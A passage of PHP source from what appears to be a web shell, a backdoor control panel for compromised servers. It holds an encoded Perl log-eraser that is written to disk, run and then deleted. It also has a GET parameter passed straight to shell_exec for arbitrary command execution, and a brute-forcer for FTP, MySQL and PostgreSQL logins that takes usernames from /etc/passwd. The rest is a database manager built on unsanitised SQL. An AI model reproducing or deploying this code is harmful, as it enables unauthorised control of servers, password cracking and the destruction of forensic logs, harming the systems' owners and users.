3936 $erase = gzinflate(base64_decode("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"));
3937 if(is_writable("."))
3938 {
3939 if($openp = fopen(getcwd()."/logseraser.pl", 'w'))
3940 {
3941 fwrite($openp, $erase);
3942 fclose($openp);
3943 passthru("perl logseraser.pl linux");
3944 unlink("logseraser.pl");
3945 echo "<center><font color=#FFFFFF size=3>Logs Cleared</font></center>";
3946 }
3947 } else
3948 {
3949 if($openp = fopen("/tmp/logseraser.pl", 'w'))
3950 {
3951 fwrite($openp, $erase)or die("Error");
3952 fclose($openp);
3953 $aidx = passthru("perl logseraser.pl linux");
3954 unlink("logseraser.pl");
3955 echo "<center><font color=#FFFFFF size=3>Logs Cleared</font></center>";
3956 }
3957 }
3958 }
3959 else
3960 {
3961 $check = shell_exec($_GET['mycmd']);
3962 echo "<center><textarea cols=120 rows=20 class=box>" . $check . "</textarea></center>";
3963 }
3964}
3965else if(isset($_GET['prototype']))
3966{
3967 echo '<h1>Results</h1><div><span>Type:</span> '.htmlspecialchars($_GET['prototype']).' <span><br>Server:</span> '.htmlspecialchars($_GET['serverport']).'<br>';
3968 if( $_GET['prototype'] == 'ftp' )
3969 {
3970 function BruteFun($ip,$port,$login,$pass)
3971 {
3972 $fp = @ftp_connect($ip, $port?$port:21);
3973 if(!$fp) return false;
3974 $res = @ftp_login($fp, $login, $pass);
3975 @ftp_close($fp);
3976 return $res;
3977 }
3978 }
3979 elseif( $_GET['prototype'] == 'mysql' )
3980 {
3981 function BruteFun($ip,$port,$login,$pass)
3982 {
3983 $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
3984 @mysql_close($res);
3985 return $res;
3986 }
3987 }
3988 elseif( $_GET['prototype'] == 'pgsql' )
3989 {
3990 function BruteFun($ip,$port,$login,$pass)
3991 {
3992 $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
3993 $res = @pg_connect($str);
3994 @pg_close($res);
3995 return $res;
3996 }
3997 }
3998
3999 $success = 0;
4000 $attempts = 0;
4001 $server = explode(":", $_GET['server']);
4002 if($_GET['type'] == 1)
4003 {
4004 $temp = @file('/etc/passwd');
4005 if( is_array($temp))
4006 foreach($temp as $line)
4007 {
4008 $line = explode(":", $line);
4009 ++$attempts;
4010 if(BruteFun(@$server[0],@$server[1], $line[0], $line[0]) )
4011 {
4012 $success++;
4013 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
4014 }
4015 if(@$_GET['reverse'])
4016 {
4017 $tmp = "";
4018 for($i=strlen($line[0])-1; $i>=0; --$i)
4019 $tmp .= $line[0][$i];
4020 ++$attempts;
4021 if(BruteFun(@$server[0],@$server[1], $line[0], $tmp) )
4022 {
4023 $success++;
4024 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
4025 }
4026 }
4027 }
4028 }
4029 elseif($_GET['type'] == 2)
4030 {
4031 $temp = @file($_GET['dict']);
4032 if( is_array($temp) )
4033 foreach($temp as $line)
4034 {
4035 $line = trim($line);
4036 ++$attempts;
4037 if(BruteFun($server[0],@$server[1], $_GET['login'], $line) )
4038 {
4039 $success++;
4040 echo '<b>'.htmlspecialchars($_GET['login']).'</b>:'.htmlspecialchars($line).'<br>';
4041 }
4042 }
4043 }
4044 echo "<span>Attempts:</span> <font class=txt>$attempts</font> <span>Success:</span> <font class=txt>$success</font></div>";
4045}
4046// Execute Query
4047else if(isset($_GET["executeit"]))
4048{
4049 if(isset($_GET['username']) && isset($_GET['server']))
4050 {
4051 $dbserver = $_GET['server'];
4052 $dbuser = $_GET['username'];
4053 $dbpass = $_GET['password'];
4054 if(mysql_connect($dbserver,$dbuser,$dbpass))
4055 {
4056 setcookie("dbserver", $dbserver);
4057 setcookie("dbuser", $dbuser);
4058 setcookie("dbpass", $dbpass);
4059
4060 listdatabase();
4061 }
4062 else
4063 echo "cannotconnect";
4064 }
4065}
4066else if(isset($_GET['action']) && isset($_GET['dbname']))
4067
4068
4069 {
4070 if($_GET['action'] == "createDB")
4071 {
4072 $dbname = $_GET['dbname'];
4073 $dbserver = $_COOKIE["dbserver"];
4074 $dbuser = $_COOKIE["dbuser"];
4075 $dbpass = $_COOKIE["dbpass"];
4076 $mysqlHandle = mysql_connect($dbserver, $dbuser, $dbpass);
4077 mysql_query("create database $dbname",$mysqlHandle);
4078 listdatabase();
4079 }
4080 if($_GET['action'] == 'dropDB')
4081 {
4082 $dbname = $_GET['dbname'];
4083 $dbserver = $_COOKIE["dbserver"];
4084 $dbuser = $_COOKIE["dbuser"];
4085 $dbpass = $_COOKIE["dbpass"];
4086 $mysqlHandle = mysql_connect($dbserver, $dbuser, $dbpass);
4087 mysql_query("drop database $dbname",$mysqlHandle);
4088 mysql_close($mysqlHandle);
4089 listdatabase();
4090 }
4091
4092 if($_GET['action'] == 'listTables')
4093 {
4094 listtable();
4095 }
4096
4097 // Create Tables
4098 if($_GET['action'] == "createtable")
4099 {
4100 $dbserver = $_COOKIE["dbserver"];
4101 $dbuser = $_COOKIE["dbuser"];
4102 $dbpass = $_COOKIE["dbpass"];
4103 $dbname = $_GET['dbname'];
4104 $tablename = $_GET['tablename'];
4105 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
4106 mysql_select_db($dbname);
4107 mysql_query("CREATE TABLE $tablename ( no INT )");
4108 listtable();
4109 }
4110
4111 // Drop Tables
4112 if($_GET['action'] == "dropTable")
4113 {
4114 $dbserver = $_COOKIE["dbserver"];
4115 $dbuser = $_COOKIE["dbuser"];
4116 $dbpass = $_COOKIE["dbpass"];
4117 $dbname = $_GET['dbname'];
4118 $tablename = $_GET['tablename'];
4119 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
4120 mysql_select_db($dbname);
4121 mysql_query("drop table $tablename");
4122 listtable();
4123 }
4124
4125 // Empty Tables
4126 if($_GET['action'] == "empty")
4127 {
4128 $dbserver = $_COOKIE["dbserver"];
4129 $dbuser = $_COOKIE["dbuser"];
4130 $dbpass = $_COOKIE["dbpass"];
4131 $dbname = $_GET['dbname'];
4132 $tablename = $_GET['tablename'];
4133 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
4134 mysql_select_db($dbname);
4135 mysql_query("delete from $tablename");
4136 listtable();
4137 }
4138
4139 // Empty Tables
4140 if($_GET['action'] == "dropField")
4141 {
4142 $dbserver = $_COOKIE["dbserver"];
4143 $dbuser = $_COOKIE["dbuser"];
4144 $dbpass = $_COOKIE["dbpass"];
4145 $dbname = $_GET['dbname'];
4146 $tablename = $_GET['tablename'];
4147 $fieldname = $_GET['fieldname'];
4148 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
4149 mysql_select_db($dbname);
4150 $queryStr = "ALTER TABLE $tablename DROP COLUMN $fieldname";
4151 mysql_select_db( $dbname, $mysqlHandle );
4152 mysql_query( $queryStr , $mysqlHandle );
4153 listtable();
4154 }
4155
4156 if($_GET['action'] == 'viewdb')
4157 {
4158 listdatabase();
4159 }
4160
4161 // View Table Schema
4162 if($_GET['action'] == "viewSchema")
4163 {
4164 $dbserver = $_COOKIE["dbserver"];
4165 $dbuser = $_COOKIE["dbuser"];
4166 $dbpass = $_COOKIE["dbpass"];
4167 $dbname = $_GET['dbname'];
4168 $tablename = $_GET['tablename'];
4169 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
4170 mysql_select_db($dbname);
4171 echo "<br><div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>></font> <a href=# onClick=\"viewtables('viewdb')\"> <font size=3>Database List</font> </a> <font color=white size=3>></font> <a href=# onClick=\"viewtables('listTables','$dbname','$tablename')\"> <font size=3>Table List</font> </a> <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
4172 $pResult = mysql_query( "SHOW fields FROM $tablename" );
4173 $num = mysql_num_rows( $pResult );
4174 echo "<br><br><table align=center cellspacing=4 style='width:80%;' border=1>";
4175 echo "<th>Field</th><th>Type</th><th>Null</th><th>Key</th></th>";
4176 for( $i = 0; $i < $num; $i++ )
4177 {
4178 $field = mysql_fetch_array( $pResult );
4179 echo "<tr>\n";
4180 echo "<td>".$field["Field"]."</td>\n";
4181 echo "<td>".$field["Type"]."</td>\n";
4182 echo "<td>".$field["Null"]."</td>\n";
4183 echo "<td>".$field["Key"]."</td>\n";
4184 echo "<td>".$field["Default"]."</td>\n";
4185 echo "<td>".$field["Extra"]."</td>\n";
4186 $fieldname = $field["Field"];
4187 echo "<td><a href=# onClick=\"viewtables('dropField','$dbname','$tablename','','','','$fieldname')\">Drop</a></td>\n";
4188 echo "</tr>\n";
4189 }
4190 echo "</table>";
4191 echo "<div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>></font> <a href=# onClick=\"viewtables('viewdb')\"> <font size=3>Database List</font> </a> <font color=white size=3>></font> <a href=# onClick=\"viewtables('listTables','$dbname','$tablename')\"> <font size=3>Table List</font> </a> <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
4192 }
4193
4194 // Execute Query
4195 if($_GET['action'] == "executequery")
4196 {
4197 $dbserver = $_COOKIE["dbserver"];
4198 $dbuser = $_COOKIE["dbuser"];
4199 $dbpass = $_COOKIE["dbpass"];
4200 $dbname = $_GET['dbname'];
4201 $tablename = $_GET['tablename'];
4202 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
4203 mysql_select_db($dbname);
4204 $result = mysql_query($_GET['executemyquery']);
4205
4206 // results
4207 echo "<html>\r\n". strtoupper($_GET['executemyquery']) . "<br>\r\n<table border =\"1\">\r\n";
4208
4209 $count = 0;
4210 while ($row = mysql_fetch_assoc($result))
4211 {
4212 echo "<tr>\r\n";
4213
4214 if ($count==0) // list column names
4215 {
4216 echo "<tr>\r\n";
4217 while($key = key($row))
4218 {
4219 echo "<td><b>" . $key . "</b></td>\r\n";
4220 next($row);
4221 }
4222 echo "</tr>\r\n";
4223 }
4224
4225 foreach($row as $r) // list content of column names
4226 {
4227 if ($r=='') $r = '<font >NULL</font>';
4228 echo "<td><font class=txt>" . $r . "</font></td>\r\n";
4229 }
4230 echo "</tr>\r\n";
4231 $count++;
4232 }
4233 echo "</table>\n\r<font class=txt size=3>" . $count . " rows returned.</font>\r\n</html>";
4234 echo "<div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>></font> <a href=# onClick=\"viewtables('viewdb')\"> <font size=3>Database List</font> </a> <font color=white size=3>></font> <a href=# onClick=\"viewtables('listTables','$dbname','$tablename')\"> <font size=3>Table List</font> </a> <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
4235 }
4236
4237 // View Table Data
4238 if($_GET['action'] == "viewdata")
4239 {
4240 global $queryStr, $action, $mysqlHandle, $dbname, $tablename, $PHP_SELF, $errMsg, $page, $rowperpage, $orderby, $data;
4241 $dbserver = $_COOKIE["dbserver"];
4242 $dbuser = $_COOKIE["dbuser"];
4243 $dbpass = $_COOKIE["dbpass"];
4244 $dbname = $_GET['dbname'];
4245 $tablename = $_GET['tablename'];
4246 echo "<br><div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>></font> <a href=# onClick=\"viewtables('viewdb')\"> <font size=3>Database List</font> </a> <font color=white size=3>></font> <a href=# onClick=\"viewtables('listTables','$dbname','$tablename')\"> <font size=3>Table List</font> </a> <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
4247 ?>
4248 <br><br>
4249 <form>
4250 <table>
4251 <tr>
4252 <td><textarea cols="60" rows="7" name="executemyquery" class="box">Execute Query..</textarea></td>
4253 </tr>
4254 <tr>
4255 <td><input type="button" onClick="viewtables('executequery','<?php echo $_GET['dbname'];?>','<?php echo $_GET['tablename']; ?>','','',executemyquery.value)" value="Execute" class="but"></td>
4256 </tr>
4257 </table>
4258 </form>
4259 <?php
4260 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
4261 mysql_select_db($dbname);
4262
4263 $sql = mysql_query("SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = '$dbname') AND (`TABLE_NAME` = '$tablename') AND (`COLUMN_KEY` = 'PRI');");
4264 $row = mysql_fetch_array($sql);
4265 $rowid = $row['COLUMN_NAME'];
4266
4267 echo "<br><font size=4 color =lime>Data in Table</font><br>";
4268 if( $tablename != "" )
4269 echo "<font size=3 class=txt>$dbname > $tablename</font><br>";
4270 else
4271 echo "<font size=3 class=txt>$dbname</font><br>";
4272
4273 $queryStr = "";
4274 $pag = 0;
4275 $queryStr = stripslashes( $queryStr );
4276 if( $queryStr == "" )
4277 {
4278 if(isset($_REQUEST['page']))
4279 {
4280 $res = mysql_query("select * from $tablename");
4281 $getres = mysql_num_rows($res);
4282 $coun = ceil($getres/30);
4283 if($_REQUEST['page'] != 1)
4284
4285 $pag = $_REQUEST['page'] * 30;
4286 else
4287 $pag = $_REQUEST['page'] * 30;
4288
4289 $queryStr = "SELECT * FROM $tablename LIMIT $pag,30";
4290 $sql = mysql_query("SELECT $rowid FROM $tablename ORDER BY $rowid LIMIT $pag,30");
4291 $arrcount = 1;
4292 $arrdata[$arrcount] = 0;
4293 while($row = mysql_fetch_array($sql))
4294 {
4295 $arrdata[$arrcount] = $row[$rowid];
4296 $arrcount++;
4297 }
4298 }
4299 else
4300 {
4301 $queryStr = "SELECT * FROM $tablename LIMIT 0,30";
4302 $sql = mysql_query("SELECT $rowid FROM $tablename ORDER BY $rowid LIMIT 0,30");
4303 $arrcount = 1;
4304 $arrdata[$arrcount] = 0;
4305 while($row = mysql_fetch_array($sql))
4306 {
4307 $arrdata[$arrcount] = $row[$rowid];
4308 $arrcount++;
4309 }
4310 }
4311 if( $orderby != "" )
4312 $queryStr .= " ORDER BY $orderby";
4313 echo "<a href=# onClick=\"viewtables('viewSchema','$dbname','$tablename')\"><font size=3>Schema</font></a>\n";
4314 }
4315
4316
4317 $pResult = mysql_query($queryStr );
4318 $fieldt = mysql_fetch_field($pResult);
4319 $tablename = $fieldt->table;
4320 $errMsg = mysql_error();
4321
4322 $GLOBALS[queryStr] = $queryStr;
4323
4324 if( $pResult == false )
4325 {
4326 echoQueryResult();
4327 return;
4328 }
4329 if( $pResult == 1 )
4330 {
4331 $errMsg = "Success";
4332 echoQueryResult();
4333 return;
4334 }
4335
4336 echo "<hr color='#1B1B1B'>\n";
4337
4338 $row = mysql_num_rows( $pResult );
4339 $col = mysql_num_fields( $pResult );
4340
4341 if( $row == 0 )
4342 {
4343 echo "<font size=3>No Data Exist!</font>";
4344 return;
4345 }
4346
4347 if( $rowperpage == "" ) $rowperpage = 30;
4348 if( $page == "" ) $page = 0;
4349 else $page--;
4350 mysql_data_seek( $pResult, $page * $rowperpage );
4351
4352 echo "<table cellspacing=1 cellpadding=5 border=1 align=center>\n";
4353 echo "<tr>\n";
4354 for( $i = 0; $i < $col; $i++ )
4355 {
4356 $field = mysql_fetch_field( $pResult, $i );
4357 echo "<th>";
4358 if($action == "viewdata")
4359 echo "<a href='$PHP_SELF?action=viewdata&dbname=$dbname&tablename=$tablename&orderby=".$field->name."'>".$field->name."</a>\n";
4360 else
4361 echo $field->name."\n";
4362 echo "</th>\n";
4363 }
4364 echo "<th colspan=2>Action</th>\n";
4365 echo "</tr>\n";
4366 $num=1;
4367
4368
4369 $acount = 1;
4370
4371 for( $i = 0; $i < $rowperpage; $i++ )
4372 {
4373 $rowArray = mysql_fetch_row( $pResult );
4374 if( $rowArray == false ) break;
4375 echo "<tr>\n";
4376 $key = "";
4377 for( $j = 0; $j < $col; $j++ )
4378 {
4379 $data = $rowArray[$j];
4380
4381 $field = mysql_fetch_field( $pResult, $j );
4382 if( $field->primary_key == 1 )
4383 $key .= "&" . $field->name . "=" . $data;
4384
4385 if( strlen( $data ) > 30 )
4386 $data = substr( $data, 0, 30 ) . "...";
4387 $data = htmlspecialchars( $data );
4388 echo "<td>\n";
4389 echo "<font class=txt>$data</font>\n";
4390 echo "</td>\n";
4391 }
4392
4393 if(!is_numeric($arrdata[$acount]))
4394 echo "<td colspan=2>No Key</td>\n";
4395 else
4396 {
4397 echo "<td><a href=# onClick=\"viewtables('editData','$dbname','$tablename','$rowid','$arrdata[$acount]')\">Edit</a></td>\n";
4398 echo "<td><a href=# onClick=\"viewtables('deleteData','$dbname','$tablename','$rowid','$arrdata[$acount]')\">Delete</a></td>\n";
4399 $acount++;
4400 }
4401 }
4402 echo "</tr>\n";
4403
4404
4405 echo "</table>";
4406 if($arrcount > 30)
4407 {
4408 $res = mysql_query("select * from $tablename");
4409 $getres = mysql_num_rows($res);
4410 $coun = ceil($getres/30);
4411 echo "<form action=$self><input type=hidden value=viewdata name=action><input type=hidden name=tablename value=$tablename><input type=hidden value=$dbname name=dbname><select style='width: 95px;' name=page class=sbox>";
4412 for($i=0;$i<$coun;$i++)
4413 echo "<option value=$i>$i</option>";
4414
4415 echo "</select> <input type=button onClick=\"viewtables('viewdata','$dbname','$tablename','','','','',page.value)\" value=Go class=but></form>";
4416 echo "<br><div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>></font> <a href=# onClick=\"viewtables('viewdb')\"> <font size=3>Database List</font> </a> <font color=white size=3>></font> <a href=# onClick=\"viewtables('listTables','$dbname','$tablename')\"> <font size=3>Table List</font> </a> <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
4417 }
4418 }
4419
4420 // Delete Table Data
4421 if($_GET['action'] == "deleteData")
4422 {
4423 $dbserver = $_COOKIE["dbserver"];
4424 $dbuser = $_COOKIE["dbuser"];
4425 $dbpass = $_COOKIE["dbpass"];
4426 $dbname = $_GET['dbname'];
4427 $tablename = $_GET['tablename'];
4428 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
4429 mysql_select_db($dbname);
4430 $sql = mysql_query("SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = '$dbname') AND (`TABLE_NAME` = '$tablename') AND (`COLUMN_KEY` = 'PRI');");
4431 $row = mysql_fetch_array($sql);
4432 $row = $row['COLUMN_NAME'];
4433 $rowid = $_GET[$row];
4434 mysql_query("delete from $tablename where $row = '$rowid'");
4435 listtable();
4436 }
4437 // Edit Table Data
4438 if($_GET['action'] == "editData")
4439 {
4440 global $queryStr, $action, $mysqlHandle, $dbname, $tablename, $PHP_SELF, $errMsg, $page, $rowperpage, $orderby, $data;
4441 $dbserver = $_COOKIE["dbserver"];
4442 $dbuser = $_COOKIE["dbuser"];
4443 $dbpass = $_COOKIE["dbpass"];
4444 $dbname = $_GET['dbname'];
4445 $tablename = $_GET['tablename'];
4446 echo "<br><div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>></font> <a href=# onClick=\"viewtables('viewdb')\"> <font size=3>Database List</font> </a> <font color=white size=3>></font> <a href=# onClick=\"viewtables('listTables','$dbname','$tablename')\"> <font size=3>Table List</font> </a> <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
4447 ?>
4448 <br><br>
4449 <form action="<?php echo $self; ?>" method="post">
4450 <?php
4451 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
4452 mysql_select_db($dbname);
4453
4454 $sql = mysql_query("SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = '$dbname') AND (`TABLE_NAME` = '$tablename') AND (`COLUMN_KEY` = 'PRI');");
4455 $row = mysql_fetch_array($sql);
4456 $row = $row['COLUMN_NAME'];
4457 $rowid = $_GET[$row];
4458
4459 $pResult = mysql_list_fields( $dbname, $tablename );
4460 $num = mysql_num_fields( $pResult );
4461
4462 $key = "";
4463 for( $i = 0; $i < $num; $i++ )
4464 {
4465 $field = mysql_fetch_field( $pResult, $i );
4466 if( $field->primary_key == 1 )
4467 if( $field->numeric == 1 )
4468 $key .= $field->name . "=" . $GLOBALS[$field->name] . " AND ";
4469 else
4470 $key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND ";
4471 }
4472 $key = substr( $key, 0, strlen($key)-4 );
4473
4474 mysql_select_db( $dbname, $mysqlHandle );
4475 $pResult = mysql_query( $queryStr = "SELECT * FROM $tablename WHERE $row = $rowid", $mysqlHandle );
4476 $data = mysql_fetch_array( $pResult );
4477
4478 echo "<table cellspacing=1 cellpadding=2 border=1>\n";
4479 echo "<tr>\n";
4480 echo "<th>Name</th>\n";
4481 echo "<th>Type</th>\n";
4482 echo "<th>Function</th>\n";
4483 echo "<th>Data</th>\n";
4484 echo "</tr>\n";
4485
4486 $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
4487 $num = mysql_num_rows( $pResult );
4488
4489 $pResultLen = mysql_list_fields( $dbname, $tablename );
4490 $fundata1 = "'action','editsubmitData','dbname','".$dbname."','tablename','".$tablename."',";
4491 $fundata2 = "'action','insertdata','dbname','".$dbname."','tablename','".$tablename."',";
4492 for( $i = 0; $i < $num; $i++ )
4493 {
4494 $field = mysql_fetch_array( $pResult );
4495 $fieldname = $field["Field"];
4496 $fieldtype = $field["Type"];
4497 $len = mysql_field_len( $pResultLen, $i );
4498
4499 echo "<tr>";
4500 echo "<td>$fieldname</td>";
4501 echo "<td>".$field["Type"]."</td>";
4502 echo "<td>\n";
4503 echo "<select name=${fieldname}_function class=sbox>\n";
4504 echo "<option>\n";
4505 echo "<option>ASCII\n";
4506 echo "<option>CHAR\n";
4507 echo "<option>SOUNDEX\n";
4508 echo "<option>CURDATE\n";
4509 echo "<option>CURTIME\n";
4510 echo "<option>FROM_DAYS\n";
4511 echo "<option>FROM_UNIXTIME\n";
4512 echo "<option>NOW\n";
4513 echo "<option>PASSWORD\n";
4514 echo "<option>PERIOD_ADD\n";
4515 echo "<option>PERIOD_DIFF\n";
4516 echo "<option>TO_DAYS\n";
4517 echo "<option>USER\n";
4518 echo "<option>WEEKDAY\n";
4519 echo "<option>RAND\n";
4520 echo "</select>\n";
4521 echo "</td>\n";
4522 $value = htmlspecialchars($data[$i]);
4523 $type = strtok( $fieldtype, " (,)\n" );
4524 if( $type == "enum" || $type == "set" )
4525 {
4526 echo "<td>\n";
4527 if( $type == "enum" )
4528 echo "<select name=$fieldname class=box>\n";
4529 else if( $type == "set" )
4530 echo "<select name=$fieldname size=4 class=box multiple>\n";
4531 while( $str = strtok( "'" ) )
4532 {
4533 if( $value == $str )
4534 echo "<option selected>$str\n";
4535 else
4536 echo "<option>$str\n";
4537 strtok( "'" );
4538 }
4539 echo "</select>\n";
4540 echo "</td>\n";
4541 }
4542 else
4543 {
4544 if( $len < 40 )
4545 echo "<td><input type=text size=40 maxlength=$len id=dhanush_$fieldname name=sql_$fieldname value=\"$value\" class=box></td>\n";
4546 else
4547 echo "<td><textarea cols=47 rows=3 maxlength=$len name=dhanush_$fieldname class=box>$value</textarea>\n";
4548 }
4549 $fundata1 .= "'dhanush_".$fieldname."',dhanush_".$fieldname.".value,";
4550 $fundata2 .= "'dhanush_".$fieldname."',dhanush_".$fieldname.".value,";
4551 echo "</tr>";
4552 }
4553 $fundata1=eregi_replace(',$', '', $fundata1);
4554 $fundata2=eregi_replace(',$', '', $fundata2);
4555
4556 echo "</table><p>\n";
4557 echo "<input type=button onClick=\"editdata($fundata1)\" value='Edit Data' class=but>\n";
4558 echo "<input type=button value='Insert' onClick=\"editdata($fundata2)\" class=but>\n";
4559 echo "</form>\n";
4560 }
4561 }
4562// Edit Submit Table Data
4563else if($_REQUEST['action'] == "editsubmitData")
4564{
4565 $dbserver = $_COOKIE["dbserver"];
4566 $dbuser = $_COOKIE["dbuser"];
4567 $dbpass = $_COOKIE["dbpass"];
4568 $dbname = $_POST['dbname'];
4569 $tablename = $_POST['tablename'];
4570
4571 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
4572 mysql_select_db($dbname);
4573
4574 $sql = mysql_query("SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = '$dbname') AND (`TABLE_NAME` = '$tablename') AND (`COLUMN_KEY` = 'PRI');");
4575 $row = mysql_fetch_array($sql);
4576 $row = $row['COLUMN_NAME'];
4577 $rowid = $_POST[$row];
4578
4579 $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
4580 $num = mysql_num_rows( $pResult );
4581
4582 $rowcount = $num;
4583
4584 $pResultLen = mysql_list_fields( $dbname, $tablename );
4585
4586 for( $i = 0; $i < $num; $i++ )
4587 {
4588 $field = mysql_fetch_array( $pResult );
4589 $fieldname = $field["Field"];
4590 $arrdata = $_REQUEST[$fieldname];
4591
4592 $str .= " " . $fieldname . " = '" . $arrdata . "'";
4593 $rowcount--;
4594 if($rowcount != 0)
4595 $str .= ",";
4596 }
4597
4598 $str = "update $tablename set" . $str . " where $row=$rowid";
4599 mysql_query($str);
4600 ?><div id="showsql"></div><?php
4601}
4602// Insert Table Data
4603else if($_REQUEST['action'] == "insertdata")
4604{
4605 $dbserver = $_COOKIE["dbserver"];
4606 $dbuser = $_COOKIE["dbuser"];
4607 $dbpass = $_COOKIE["dbpass"];
4608 $dbname = $_POST['dbname'];
4609 $tablename = $_POST['tablename'];
4610
4611 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
4612 mysql_select_db($dbname);
4613
4614 $sql = mysql_query("SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = '$dbname') AND (`TABLE_NAME` = '$tablename') AND (`COLUMN_KEY` = 'PRI');");
4615 $row = mysql_fetch_array($sql);
4616 $row = $row['COLUMN_NAME'];
4617 $rowid = $_POST[$row];
4618
